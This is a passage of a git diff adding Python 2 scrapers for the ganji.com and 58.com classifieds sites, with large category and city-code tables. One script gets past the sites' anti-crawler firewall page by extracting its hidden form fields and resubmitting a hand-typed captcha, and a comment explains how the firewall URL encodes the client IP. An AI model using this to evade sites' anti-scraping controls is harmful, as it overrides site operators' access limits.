link in enumerate(link_list): + # link_html = lxml.html.tostring(link, encoding='utf-8').strip() + # link_result = re.compile(link_rule, re.S).findall(link_html.decode('utf-8')) + # for v in link_result: + # area_list.append((v[0], v[1])) + # print "\t'%s'%s # %s" % (v[0], ',' if (i + 1) < len(link_list) else '', v[1]) + # print "]" + + print '{' + print '\t\'code\': \'%s\',' % city_code + print '\t\'name\': u\'%s\',' % city_name + print '\t\'small\': [' + for i, link in enumerate(link_list): link_html = lxml.html.tostring(link, encoding='utf-8').strip() link_result = re.compile(link_rule, re.S).findall(link_html.decode('utf-8')) + if not link_result: + continue + print '\t\t{' for v in link_result: area_list.append((v[0], v[1])) - print "\t'%s'%s # %s" % (v[0], ',' if (i + 1) < len(link_list) else '', v[1]) - print "]" + print '\t\t\t\'code\': \'%s\'' % v[0] + print '\t\t\t\'name\': u\'%s\'' % v[1] + print '\t\t\t\'id\': \'\'' + print '\t\t},' + print '\t]' + print '},' return { 'city_code': city_code, @@ -357,20 +815,45 @@ def output_city_area(): with open('city_area2.py', 'wb') as f: rows = read_csv('city_map_58.csv') f.write("# encoding: utf-8\n\n") - f.write("area = {\n") + # f.write("area = {\n") + # for row in rows: + # city_code = row['city_code'] + # city_name = row['city_name'] + # province = row['province'] + # district = row['district'] + # city_info = get_area_list(city_code, city_name, province, district) + # f.write(" # %s %s %s\n" % (city_name, province, district)) + # f.write(" '%s': [\n" % city_code) + # for area in city_info['area_list']: + # f.write(" '%s', # %s\n" % (area[0], area[1])) + # f.write(" ],\n") + # f.flush() + # f.write("}\n") + f.write('city_map = [\n') for row in rows: city_code = row['city_code'] city_name = row['city_name'] province = row['province'] district = row['district'] city_info = get_area_list(city_code, city_name, province, district) - f.write(" # %s %s %s\n" % (city_name, province, district)) - f.write(" '%s': [\n" % city_code) + city_id = city_map.get(city_code) + f.write('\t# %s %s %s\n' % (city_name, province, district)) + f.write('\t{\n') + f.write('\t\t\'code\': \'%s\',\n' % city_code) + f.write('\t\t\'name\': u\'%s\',\n' % city_name) + f.write('\t\t\'id\': %s,\n' % city_id) + f.write('\t\t\'small\': [\n') + for area in city_info['area_list']: - f.write(" '%s', # %s\n" % (area[0], area[1])) - f.write(" ],\n") + f.write('\t\t\t{\n') + f.write('\t\t\t\t\'code\': \'%s\',\n' % area[0]) + f.write('\t\t\t\t\'name\': u\'%s\',\n' % area[1]) + f.write('\t\t\t\t\'id\': %s\n' % city_id) + f.write('\t\t\t},\n') + f.write('\t\t]\n') + f.write('\t},\n') f.flush() - f.write("}\n") + f.write(']') if __name__ == '__main__': @@ -385,5 +868,5 @@ def output_city_area(): # print_city_area() # read_csv('city_map_58.csv') # write_csv('test.csv', [['一', '二', '三'], [1, 2, 3], [5, 6, 7]]) - # output_city_area() - get_cate_list('caishui', u'-') + output_city_area() + # get_cate_list('caishui', u'-') diff --git a/fuck/fishc.py b/fuck/fishc.py new file mode 100644 index 0000000..15cf9a7 --- /dev/null +++ b/fuck/fishc.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: fishc.py +@time: 2017/6/1 上午9:08 +""" + + +import requests + +url = 'http://bbs.fishc.com/misc.php?mod=seccode&update=51882&idhash=cSp1R1BV' + +header = { + 'Host': 'bbs.fishc.com', + 'Referer': 'http://bbs.fishc.com/member.php?mod=logging&action=login&referer=', + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' + } + + +def run(): + res = requests.get(url, headers=header) + open('logo.gif', 'wb').write(res.content) + + +if __name__ == '__main__': + run() diff --git a/fuck/ganji_callback.py b/fuck/ganji_callback.py new file mode 100644 index 0000000..aba2636 --- /dev/null +++ b/fuck/ganji_callback.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: ganji_callback.py +@time: 2017/8/18 下午4:18 +""" + + +import time +import lxml.html +import requests +from urlparse import urljoin + +from requests.exceptions import Timeout + + +header = { + 'Host': 'callback.ganji.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + + +s = requests.session() + + +callback_url = 'http://callback.ganji.com/firewall/valid/1709685058.do?namespace=ganji_hy_list_pc&url=http%3A%2F%2Fanshan.ganji.com%2Fbanjia%2F' + + +def fuck(): + r_g = s.get(callback_url) + html = r_g.text + doc = lxml.html.fromstring(html) + + # 获取页面隐藏域表单 + uuid = doc.xpath('//input[@id="uuid"]/@value')[0].strip() + url = doc.xpath('//input[@id="url"]/@value')[0].strip() + namespace = doc.xpath('//input[@id="namespace"]/@value')[0].strip() + ip = doc.xpath('//input[@id="ip"]/@value')[0].strip() + + # 获取验证码图片 + img_url_text = doc.xpath('//img[@id="verify_img"]/@src')[0].strip() + img_url = urljoin(callback_url, img_url_text) + print img_url + + # 保存验证码图片 + img_name = 'ganji_%s.jpg' % uuid + img_content = s.get(img_url).content + with open(img_name, 'w') as f: + f.write(img_content) + time.sleep(5) + + verify_code = raw_input('verify_code') + + print uuid + print url + print namespace + print ip + print r_g.cookies.__dict__ + data = { + 'namespace': namespace, + 'uuid': uuid, + 'url': url, + 'verify_code': verify_code + } + r_p = s.post(callback_url, data=data) + r_p_json = r_p.json() # {"msg":"验证码过期.","code":-1} + print r_p_json + if r_p_json.get('code') == 0: + print u'识别成功' + else: + print r_p_json.get('msg') + + +if __name__ == '__main__': + fuck() + + +""" +# 获取页面隐藏域表单 + + + + + +# 查看出口IP +➜ ~ curl ifconfig.me +101.231.185.66 + +# 验证IP +In [1]: 101*256*256*256 + 231*256*256 + 185*256 + 66 +Out[1]: 1709685058 + +买一送一,童叟无欺 +58也是一样的: +http://callback.58.com/firewall/valid/920593415.do?namespace=huangyedetailpc&url=http%3A%2F%2Finfodetail1.58.com%2Fsz%2Fjisuanji%2F27978971970226x.shtml +""" diff --git a/fuck/ganji_huangye.py b/fuck/ganji_huangye.py new file mode 100644 index 0000000..e81b48b --- /dev/null +++ b/fuck/ganji_huangye.py @@ -0,0 +1,700 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: ganji_huangye.py +@time: 2017/8/16 上午10:37 +""" + + +import lxml.html +import requests + + +header_cate = { + 'Host': 'sh.ganji.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + +header_city = { + 'Host': 'www.ganji.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + +s = requests.session() + + +cate_map = { + # 电脑维修 http://sh.ganji.com/weixiu/ + 'diannaoweixiu': '(138)', # 台式机维修 + 'bijiben': '(138)', # 笔记本维修 + 'sujuhuifu': '(183),(138)', # 数据恢复 + 'xianshiqiweixiu': '(138)', # 电脑显示器维修 + 'pingbanweixiu': '(138)', # ipad/平板电脑维修 + 'serverweixiu': '(138)', # 服务器维修/维护 + 'wangluoweixiu': '(138)', # 网络维修 + 'xitonganzhuang': '(138)', # 系统安装 + 'itwaibaowx': '(138)', # it外包 + 'diannaozujianwx': '(138)', # 电脑组件维修 + 'qitaweixiu': '(138)', # 其他电脑维修 + + # 手机维修 http://sh.ganji.com/shumashoujiweixiu/ + # 220 | 手机维修 + # 262 | 影音家电维修 + 'shoujiweixiu': '(220)', # 手机维修 + 'pingguoshoujiweixiu': '(220)', # 苹果 + 'sanxingshoujiweixiu': '(220)', # 三星 + 'nuojiyashoujiweixiu': '(220)', # 诺基亚 + 'htcshoujiweixiu': '(220)', # HTC + 'motuoluolashoujiweixiu': '(220)', # 摩托罗拉 + 'suoaishoujiweixiu': '(220)', # 索爱 + 'heimeishoujiweixiu': '(220)', # 黑莓 + 'lgshoujiweixiu': '(220)', # LG + 'guochanshoujiweixiu': '(220)', # 国产 + 'xiapushoujwx': '(220)', # 夏普 + 'duopudashoujwx': '(220)', # 多普达 + 'lianxiangshoujwx': '(220)', # 联想 + 'xiaomiweixiu': '(220)', # 小米 + 'meizuweixiu': '(220)', # 魅族 + 'huaweiweixiu': '(220)', # 华为 + 'zteweixiu': '(220)', # 中兴 + 'coolpadweixiu': '(220)', # 酷派 + 'tianyuweixiu': '(220)', # 天语 + 'jinliweixiu': '(220)', # 金立 + + + 'shumaweixiu': '(262)', # 数码维修 + 'shumaxiangjiwx': '(262)', # 数码相机维修 + 'shexiangjiwx': '(262)', # 摄像机维修 + 'danfanwx': '(262)', # 单反相机/单反配件维修 + 'dandianwx': '(262)', # 单电/微单相机维修 + 'youxijiwx': '(262)', # 游戏机维修 + 'shumaxiangkuangwx': '(262)', # 数码相框维修 + 'qitashumaweixiu': '(262)', # 其他数码维修 + + 'zufang': '(224)', # 房屋租赁 + 'fang1': '(224)', # 房屋租赁 + + # 家政 + 'yuesao': '(124),(301)', # 月嫂 + 'baomu': '(125),(301)', # 保姆 + 'zhongdiangong': '(126),(301)', # 钟点工 + 'peihugong': '(129),(301)', # 护工 + 'shewaijiazheng': '(128)', # 涉外家政 + 'yuyingshi': '(130)', # 育婴师/育儿嫂 + 'jiazhengcuiru': '(127)', # 催乳师 + 'guanjia': '(301)', # 管家 + 'jujiayanglao': '(129),(301)', # 居家养老 + 'yanglaoyuan': '(129),(301)', # 养老院 + 'jiazhengqita': '(126),(301)', # 其他家政服务 + + # 保洁 + 'jiatingbaojie': '(131)', # 家庭保洁 + 'gongchengbaojie': '(132)', # 公司保洁 + 'kaihuangbaojie': '(131),(133)', # 家庭开荒保洁 + 'gongchengkaihuang': '(132),(133)', # 工程开荒保洁 + 'shangchangkaihuang': '(132),(133)', # 商场开荒保洁 + 'changfangkaihuang': '(132),(133)', # 厂房开荒保洁 + 'yiyuankaihuang': '(132),(133)', # 医院开荒保洁 + 'chuchongchuyi': '(134)', # 除虫除蚁 + 'kongqijinghua': '(182)', # 空气净化 + 'shicaifanxin': '(135)', # 石材翻新> + 'bizhiqingxi': '(135)', # 壁纸清洗 + 'gaokongqingxi': '(136)', # 高空清洗 + 'zhanhuibaojie': '(132)', # 展会保洁 + 'dengjuqingxi': '(137)', # 灯具清洗 + 'qitabaojie': '(131),(132),(200),(296)', # 其他保洁 + + # 搬家 + 'zhuzhaibanjia': '(106)', # 居民搬家 + 'jinbeixiaomianbanjia': '(335)', # 金杯/小面搬家 + 'bangongshibanjia': '(107)', # 办公室搬家 + 'qizhongdiaozhuang': '(110)', # 起重吊装 + 'changtubanjia': '(108)', # 长途搬家 + 'shebeibanqian': '(109)', # 设备搬迁> + 'duantulahuo': '(335)', # 短途拉货> + 'gangqinbanyun': '(111)', # 钢琴搬运 + 'chaizhuangjiaju': '(114)', # 家具拆装 + 'kongtiaochaizhuang': '(112)', # 空调移机 + 'guojibanjia': '(252)', # 国际搬家 + 'qitabanjia': '(106),(107)', # 其他搬家 + + # 装修 + 'jiatingzhuangxiu': '(100),(199),(197),(101)', # 家庭装修 + 'bangongshizhuangxiu': '(192),(193)', # 办公室装修 + 'dianmianzhuangxiu': '(195),(196)', # 店面装修 + 'jubuzhuangxiui': '(193),(197)', # 局部装修 + 'bieshuzhuangxiu': '(191)', # 别墅装修 + 'fangwugaizao': '(104)', # 房屋改造 + 'ershoufangfanxin': '(105)', # 二手房翻新 + 'zhuangshisheji': '(103)', # 装修设计 + 'shangyezhuangxiu': '(195),(102)', # 商业装修 + 'diping': '(198)', # 地坪 + 'qitazhuangxiu': '(103)', # 其他 + + # 家电维修 + 'bingxiangweixiu': '(141),(263)', # 冰箱维修 + 'dianshijiweixiu': '(141),(264)', # 电视机维修 + 'kongtiaoyiji': '(141),(294)', # 空调移机 + 'kongtiaoweixiu': '(141),(294)', # 空调维修 + 'kongtiaoqingxi': '(141),(294)', # 空调清洗 + 'xiyijiweixiu': '(265)', # 洗衣机维修 + 'reshuiqiweixiu': '(266)', # 热水器维修 + 'lengku': '(141)', # 冷库安装/维修 + 'yinshuijiweixiu': '(141)', # 饮水机维修 + 'bigualuweixiu': '(141)', # 壁挂炉维修 + 'jingshuijiweixiu': '(141)', # 净水机维修 + 'yinxiangweixiu': '(141),(262)', # 音响/功放维修 + 'diandongcheweixiu': '(141)', # 电动车维修 + 'taiyangnengweixiu': '(141)', # 太阳能维修 + 'xiaojiadianweixiu': '(141)', # 小家电维修 + 'chufangdianqiweixiu': '(141)', # 厨房电器维修 + 'zhongyangkongtiaoweixiu': '(141),(294)', # 中央空调维修 + 'qitajiadianweixiu': '(141)', # 其他 + + # 物流 + 'tongchengkuaidi': '(335)', # 同城快递 + 'guoneikuaidi': '(335)', # 国内快递 + 'guojikuaidi': '(335),(252)', # 国际快递 + 'xiaojianwuliu': '(335)', # 小件物流 + 'guoneiwuliu': '(335)', # 国内物流 + 'guojiwuliu': '(335),(252)', # 国际物流 + 'baoguan': '(335)', # 报关 + 'cangchu': '(335)', # 仓储 + 'huowuyunshu': '(335)', # 货物运输 + 'baocheyunshu': '(335)', # 包车运输 + 'huoyundaili': '(335)', # 货运代理 + 'tuoyun': '(335)', # 托运 + 'qitawuliu': '(335)', # 其他 + + # 房屋维修 + 'menchuangweixiu': '(143),(309)', # 门窗维修/安装 + 'fangshuibulou': '(310),(185)', # 防水补漏 + 'dianluweixiu': '(143)', # 电路维修/安装 + 'weiyujiejuwx': '(143)', # 卫浴洁具维修 + 'nuanqishuiguanwx': '(310),(185)', # 暖气水管维修/安装 + 'dengjuanzhuangwx': '(143)', # 灯具维修/安装 + 'shuiguanshuilongtouwx': '(310),(185)', # 水管/水龙头维修 + 'fenshuafangfu': '(311)', # 粉刷/防腐 + 'qitajiajuweixiu': '(143)', # 其他家居维修 + +} + + +city_map = { + 'anshan': 2103, # 鞍山 + 'anyang': 4105, # 安阳 + 'anqing': 3408, # 安庆 + 'ankang': 6109, # 安康 + 'akesu': 6529, # 阿克苏 + 'anshun': 5204, # 安顺 + 'aletai': 6543, # 阿勒泰 + 'alashan': 15, # 阿拉善 + 'aba': 5132, # 阿坝 + 'ali': 5425, # 阿里 + 'alaer': 6545, # 阿拉尔 + 'aomen': 82, # 澳门 + 'bj': 11, # 北京 + 'baoding': 1306, # 保定 + 'binzhou': 3716, # 滨州 + 'baotou': 1502, # 包头 + 'baoji': 6103, # 宝鸡 + 'benxi': 2105, # 本溪 + 'bengbu': 3403, # 蚌埠 + 'beihai': 4505, # 北海 + 'bayannaoer': 1508, # 巴彦淖尔 + 'baicheng': 2208, # 白城 + 'baishan': 2206, # 白山 + 'bozhou': 3416, # 亳州 + 'bazhong': 5119, # 巴中 + 'baiyin': 6204, # 白银 + 'baise': 4510, # 百色 + 'bijie': 5224, # 毕节 + 'bayinguoleng': 6528, # 巴音郭楞 + 'baoshan': 5305, # 保山 + 'boertala': 6527, # 博尔塔拉 + 'cd': 5101, # 成都 + 'cq': 50, # 重庆 + 'cs': 4301, # 长沙 + 'cc': 2201, # 长春 + 'changzhou': 3204, # 常州 + 'cangzhou': 1309, # 沧州 + 'chifeng': 1504, # 赤峰 + 'chengde': 1308, # 承德 + 'changde': 4307, # 常德 + 'changzhi': 1404, # 长治 + 'chenzhou': 4310, # 郴州 + 'chuzhou': 3411, # 滁州 + 'chaohu': 3414, # 巢湖 + 'chaozhou': 4451, # 潮州 + 'changji': 6523, # 昌吉 + 'chizhou': 3417, # 池州 + 'chuxiong': 5323, # 楚雄 + 'chongzuo': 4514, # 崇左 + 'changdu': 5421, # 昌都 + 'chaoyang': 2113, # 朝阳 + 'changshu': 3219, # 常熟 + 'cixi': 3302, # 慈溪 + 'dl': 2102, # 大连 + 'dg': 4419, # 东莞 + 'dezhou': 3714, # 德州 + 'dongying': 3705, # 东营 + 'daqing': 2306, # 大庆 + 'datong': 1402, # 大同 + 'dandong': 2106, # 丹东 + 'danzhou': 4605, # 儋州 + 'deyang': 5106, # 德阳 + 'dazhou': 5117, # 达州 + 'dali': 5329, # 大理 + 'daxinganling': 2327, # 大兴安岭 + 'dingxi': 6211, # 定西 + 'dehong': 5331, # 德宏 + 'diqing': 5334, # 迪庆 + 'eerduosi': 1506, # 鄂尔多斯 + 'enshi': 4228, # 恩施 + 'ezhou': 4207, # 鄂州 + 'fz': 3501, # 福州 + 'foshan': 4406, # 佛山 + 'fushun': 2104, # 抚顺 + 'fuyang': 3412, # 阜阳 + 'fuxin': 2109, # 阜新 + 'jxfuzhou': 3610, # 抚州 + 'fangchenggang': 4506, # 防城港 + 'gz': 4401, # 广州 + 'gy': 5201, # 贵阳 + 'gl': 4503, # 桂林 + 'ganzhou': 3607, # 赣州 + 'guangyuan': 5108, # 广元 + 'guangan': 5116, # 广安 + 'guigang': 4508, # 贵港 + 'guyuan': 6404, # 固原 + 'gannan': 6230, # 甘南 + 'ganzi': 5133, # 甘孜 + 'guoluo': 6326, # 果洛 + 'hz': 3301, # 杭州 + 'huizhou': 4413, # 惠州 + 'hrb': 2301, # 哈尔滨 + 'hf': 3401, # 合肥 + 'nmg': 1501, # 呼和浩特 + 'hn': 4601, # 海口 + 'handan': 1304, # 邯郸 + 'heze': 3717, # 菏泽 + 'hengshui': 1311, # 衡水 + 'huaian': 3208, # 淮安 + 'hengyang': 4304, # 衡阳 + 'huludao': 2114, # 葫芦岛 + 'huainan': 3404, # 淮南 + 'hanzhong': 6107, # 汉中 + 'huaihua': 4312, # 怀化 + 'huaibei': 3406, # 淮北 + 'huanggang': 4211, # 黄冈 + 'huzhou': 3305, # 湖州 + 'huangshi': 4202, # 黄石 + 'hulunbeier': 1507, # 呼伦贝尔 + 'heyuan': 4416, # 河源 + 'hebi': 4106, # 鹤壁 + 'hegang': 2304, # 鹤岗 + 'huangshan': 3410, # 黄山 + 'honghe': 53, # 红河 + 'hechi': 4512, # 河池 + 'hami': 6522, # 哈密 + 'heihe': 2311, # 黑河 + 'hezhou': 4511, # 贺州 + 'haixi': 6328, # 海西 + 'hetian': 6532, # 和田 + 'haibei': 6322, # 海北 + 'haidong': 6321, # 海东 + 'huangnan': 6323, # 黄南 + 'jn': 3701, # 济南 + 'jining': 3708, # 济宁 + 'jilin': 22, # 吉林 + 'jinzhou': 2107, # 锦州 + 'jinhua': 3307, # 金华 + 'jiaxing': 3304, # 嘉兴 + 'jiangmen': 4407, # 江门 + 'jingzhou': 4210, # 荆州 + 'jiaozuo': 4108, # 焦作 + 'jinzhong': 1407, # 晋中 + 'jiamusi': 2308, # 佳木斯 + 'jiujiang': 3604, # 九江 + 'jincheng': 1405, # 晋城 + 'jingmen': 4208, # 荆门 + 'jixi': 2303, # 鸡西 + 'jian': 3608, # 吉安 + 'jieyang': 4452, # 揭阳 + 'jingdezhen': 3602, # 景德镇 + 'jiyuan': 4118, # 济源 + 'jiuquan': 6209, # 酒泉 + 'jinchang': 6203, # 金昌 + 'jiayuguan': 6202, # 嘉峪关 + 'jiaozhou': 3702, # 胶州 + 'jimo': 3702, # 即墨 + 'km': 5301, # 昆明 + 'kaifeng': 4102, # 开封 + 'kashi': 6531, # 喀什 + 'kelamayi': 6502, # 克拉玛依 + 'kuerle': 15, # 库尔勒 + 'kezilesu': 15, # 克孜勒苏 + 'kunshan': 3218, # 昆山 + 'lz': 6201, # 兰州 + 'xz': 5401, # 拉萨 + 'langfang': 1310, # 廊坊 + 'linyi': 3713, # 临沂 + 'luoyang': 4103, # 洛阳 + 'liaocheng': 3715, # 聊城 + 'liuzhou': 4502, # 柳州 + 'lianyungang': 3207, # 连云港 + 'linfen': 1410, # 临汾 + 'luohe': 4111, # 漯河 + 'liaoyang': 2110, # 辽阳 + 'leshan': 5111, # 乐山 + 'luzhou': 5105, # 泸州 + 'luan': 3415, # 六安 + 'loudi': 4313, # 娄底 + 'laiwu': 3712, # 莱芜 + 'longyan': 3508, # 龙岩 + 'lvliang': 1411, # 吕梁 + 'lishui': 3311, # 丽水 + 'liangshan': 5134, # 凉山 + 'lijiang': 5307, # 丽江 + 'liupanshui': 5202, # 六盘水 + 'liaoyuan': 2204, # 辽源 + 'laibin': 4513, # 来宾 + 'lincang': 5309, # 临沧 + 'longnan': 6212, # 陇南 + 'linxia': 6229, # 临夏 + 'linzhi': 5426, # 林芝 + 'mianyang': 5107, # 绵阳 + 'mudanjiang': 2310, # 牡丹江 + 'maoming': 4409, # 茂名 + 'meizhou': 4414, # 梅州 + 'maanshan': 3405, # 马鞍山 + 'meishan': 5114, # 眉山 + 'nj': 3201, # 南京 + 'nb': 3302, # 宁波 + 'nn': 4501, # 南宁 + 'nc': 3601, # 南昌 + 'nantong': 3206, # 南通 + 'nanyang': 4113, # 南阳 + 'nanchong': 5113, # 南充 + 'neijiang': 5110, # 内江 + 'nanping': 3507, # 南平 + 'ningde': 3509, # 宁德 + 'nujiang': 5333, # 怒江 + 'naqu': 5424, # 那曲 + 'pingdingshan': 4104, # 平顶山 + 'puyang': 4109, # 濮阳 + 'panjin': 2111, # 盘锦 + 'putian': 3503, # 莆田 + 'panzhihua': 5104, # 攀枝花 + 'pingxiang': 3603, # 萍乡 + 'pingliang': 6208, # 平凉 + 'puer': 5311, # 普洱 + 'pixian': 510112, # 郫县 + 'qd': 3702, # 青岛 + 'qh': 4604, # 琼海 + 'qinhuangdao': 1303, # 秦皇岛 + 'quanzhou': 3505, # 泉州 + 'qiqihaer': 2302, # 齐齐哈尔 + 'qingyuan': 4418, # 清远 + 'qujing': 5303, # 曲靖 + 'quzhou': 3308, # 衢州 + 'qingyang': 6210, # 庆阳 + 'qitaihe': 2309, # 七台河 + 'qinzhou': 4507, # 钦州 + 'qianjiang': 4230, # 潜江 + 'qiandongnan': 5226, # 黔东南 + 'qiannan': 5227, # 黔南 + 'qianxinan': 5223, # 黔西南 + 'rizhao': 3711, # 日照 + 'rikaze': 5423, # 日喀则 + 'sh': 31, # 上海 + 'sz': 4403, # 深圳 + 'sy': 2101, # 沈阳 + 'sjz': 1301, # 石家庄 + 'su': 3205, # 苏州 + 'shantou': 4405, # 汕头 + 'shangqiu': 4114, # 商丘 + 'sanya': 4602, # 三亚 + 'suqian': 3213, # 宿迁 + 'shaoxing': 3306, # 绍兴 + 'shiyan': 4203, # 十堰 + 'siping': 2203, # 四平 + 'sanmenxia': 4112, # 三门峡 + 'shaoyang': 4305, # 邵阳 + 'shangrao': 3611, # 上饶 + 'suining': 5109, # 遂宁 + 'sanming': 3504, # 三明 + 'suihua': 2312, # 绥化 + 'shihezi': 6544, # 石河子 + 'ahsuzhou': 3413, # 宿州 + 'shaoguan': 4402, # 韶关 + 'songyuan': 2207, # 松原 + 'suizhou': 4213, # 随州 + 'shanwei': 4415, # 汕尾 + 'shuangyashan': 2305, # 双鸭山 + 'shuozhou': 1406, # 朔州 + 'shizuishan': 6402, # 石嘴山 + 'shangluo': 6110, # 商洛 + 'shennongjia': 4232, # 神农架 + 'shannan': 5422, # 山南 + 'shuangliu': 5101, # 双流 + 'tj': 12, # 天津 + 'ty': 1401, # 太原 + 'tangshan': 1302, # 唐山 + 'taian': 3709, # 泰安 + 'zjtaizhou': 3310, # 台州 + 'jstaizhou': 3212, # 泰州 + 'tieling': 2112, # 铁岭 + 'tongliao': 1505, # 通辽 + 'tonghua': 2205, # 通化 + 'tianshui': 6205, # 天水 + 'tongling': 3407, # 铜陵 + 'tongchuan': 6102, # 铜川 + 'tongren': 5222, # 铜仁 + 'tianmen': 4231, # 天门 + 'tacheng': 6542, # 塔城 + 'tulufan': 6521, # 吐鲁番 + 'tumushuke': 6546, # 图木舒克 + 'wh': 4201, # 武汉 + 'wx': 3202, # 无锡 + 'xj': 6501, # 乌鲁木齐 + 'wei': 3710, # 威海 + 'weifang': 3707, # 潍坊 + 'wenzhou': 3303, # 温州 + 'wuhu': 3402, # 芜湖 + 'weinan': 6105, # 渭南 + 'wuhai': 1503, # 乌海 + 'wuzhou': 4504, # 梧州 + 'wulanchabu': 1509, # 乌兰察布 + 'wuwei': 6206, # 武威 + 'wenshan': 5326, # 文山 + 'wuzhong': 6403, # 吴忠 + 'wujiaqu': 6547, # 五家渠 + 'wuzhishan': 4603, # 五指山 + 'xa': 6101, # 西安 + 'xm': 3502, # 厦门 + 'xn': 6301, # 西宁 + 'xuzhou': 3203, # 徐州 + 'xianyang': 6104, # 咸阳 + 'xingtai': 1305, # 邢台 + 'xiangyang': 4204, # 襄阳 + 'xinxiang': 4107, # 新乡 + 'xiangtan': 4303, # 湘潭 + 'xuchang': 4110, # 许昌 + 'xinyang': 4115, # 信阳 + 'xiaogan': 4209, # 孝感 + 'xinzhou': 1409, # 忻州 + 'xianning': 4212, # 咸宁 + 'xinyu': 3605, # 新余 + 'xuancheng': 3418, # 宣城 + 'xiantao': 4229, # 仙桃 + 'xilinguole': 15, # 锡林郭勒 + 'xiangxi': 4331, # 湘西 + 'xingan': 4503, # 兴安 + 'xishuangbanna': 5328, # 西双版纳 + 'xianggang': 81, # 香港 + 'yc': 6401, # 银川 + 'yichang': 4205, # 宜昌 + 'yantai': 3706, # 烟台 + 'yangzhou': 3210, # 扬州 + 'yancheng': 3209, # 盐城 + 'yingkou': 2108, # 营口 + 'yueyang': 4306, # 岳阳 + 'yuncheng': 1408, # 运城 + 'sxyulin': 6108, # 榆林 + 'yibin': 5115, # 宜宾 + 'yangquan': 1403, # 阳泉 + 'yanan': 6106, # 延安 + 'yiyang': 4309, # 益阳 + 'yongzhou': 4311, # 永州 + 'gxyulin': 4509, # 玉林 + 'jxyichun': 3609, # 宜春 + 'yangjiang': 4417, # 阳江 + 'yanbian': 2224, # 延边 + 'yuxi': 5304, # 玉溪 + 'yili': 6540, # 伊犁 + 'yunfu': 4453, # 云浮 + 'hljyichun': 2307, # 伊春 + 'yaan': 5118, # 雅安 + 'yingtan': 3606, # 鹰潭 + 'yushu': 6327, # 玉树 + 'yiwu': 3313, # 义乌 + 'zz': 4101, # 郑州 + 'zhuhai': 4404, # 珠海 + 'zibo': 3703, # 淄博 + 'zhongshan': 4420, # 中山 + 'zaozhuang': 3704, # 枣庄 + 'zhangjiakou': 1307, # 张家口 + 'zhuzhou': 4302, # 株洲 + 'zhenjiang': 3211, # 镇江 + 'zhoukou': 4116, # 周口 + 'zhanjiang': 4408, # 湛江 + 'zhumadian': 4117, # 驻马店 + 'zhaoqing': 4412, # 肇庆 + 'zigong': 5103, # 自贡 + 'zunyi': 5203, # 遵义 + 'zhangzhou': 3506, # 漳州 + 'zhoushan': 3309, # 舟山 + 'zhangye': 6207, # 张掖 + 'ziyang': 5120, # 资阳 + 'zhangjiajie': 4308, # 张家界 + 'zhaotong': 5306, # 昭通 + 'zhongwei': 6405, # 中卫 +} + + +def get_cate(): + """ + 获取分类 + :return: + """ + s.headers = header_cate + url = 'http://sh.ganji.com/huangye/' + html = s.get(url).text + doc = lxml.html.fromstring(html) + + dl = doc.xpath('//div[@class="s-class"]/dl') + # 形式一 + for item in dl: + # dt + cate_code = item.xpath('./dt/a/@href')[0].strip('/') + cate_name = item.xpath('./dt/a/text()')[0].strip() + print cate_code, cate_name + # dd + dd_list = item.xpath('./dd/a') + for dd in dd_list: + cate_code_small = dd.xpath('./@href')[0].strip('/') + cate_name_small = dd.xpath('./text()')[0].strip('') + print '\t', cate_code_small, cate_name_small + + # 形式二 + print 'cate_map = [' + for item in dl: + # dt + cate_code = item.xpath('./dt/a/@href')[0].strip('/') + cate_name = item.xpath('./dt/a/text()')[0].strip() + print '\t# %s' % cate_name + print '\t{' + print '\t\t\'code\': \'%s\',' % cate_code + print '\t\t\'name\': u\'%s\',' % cate_name + print '\t\t\'small\': [' + # dd + dd_list = item.xpath('./dd/a') + for dd in dd_list: + cate_code_small = dd.xpath('./@href')[0].strip('/') + cate_name_small = dd.xpath('./text()')[0].strip('') + print '\t\t\t{' + print '\t\t\t\t\'code\': \'%s\',' % cate_code_small + print '\t\t\t\t\'name\': u\'%s\',' % cate_name_small + print '\t\t\t\t\'id\': \'%s\',' % cate_map.get(cate_code_small, '') + print '\t\t\t},' + print '\t\t]' + print '\t},' + print ']' + + +def get_area_list(city_code, city_name, province='', district=''): + """ + 获取区域列表 + :param city_code: + :param city_name: + :param province: + :param district: + :return: + """ + url = 'http://%s.ganji.com/banjia/' % city_code + + header_area = { + 'Host': '%s.ganji.com' % city_code, + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' + } + + s.headers = header_area + + html = s.get(url).text + doc = lxml.html.fromstring(html) + link_list = doc.xpath('//dd[@class="posrelative w-area"]/a[contains(@class, "a-area")]') + area_list = [] + for link_item in link_list: + city_code_small = link_item.xpath('./@href')[0].strip().split('/')[-2] + city_name_small = link_item.xpath('./em/text()')[0].strip() + area_list.append((city_code_small, city_name_small)) + + return { + 'city_code': city_code, + 'city_name': city_name, + 'province': province, + 'district': district, + 'area_list': area_list, + } + + +def get_city(): + """ + 获取城市 + :return: + """ + s.headers = header_city + url = 'http://www.ganji.com/index.htm' + html = s.get(url).text + doc = lxml.html.fromstring(html) + dd_list = doc.xpath('//div[@class="all-city"]/dl/dd/a') + for dd in dd_list: + city_code = dd.xpath('./@href')[0].replace('http://', '').replace('.ganji.com/', '') + city_name = dd.xpath('./text()')[0].strip() + print city_code, city_name + + +def output_city_area(): + """ + 输出城市地区到文件 + :return: + """ + with open('city_area_gj.py', 'wb') as f: + + f.write("# encoding: utf-8\n\n") + + f.write('city_map = [\n') + + s.headers = header_city + url = 'http://www.ganji.com/index.htm' + html = s.get(url).text + doc = lxml.html.fromstring(html) + dd_list = 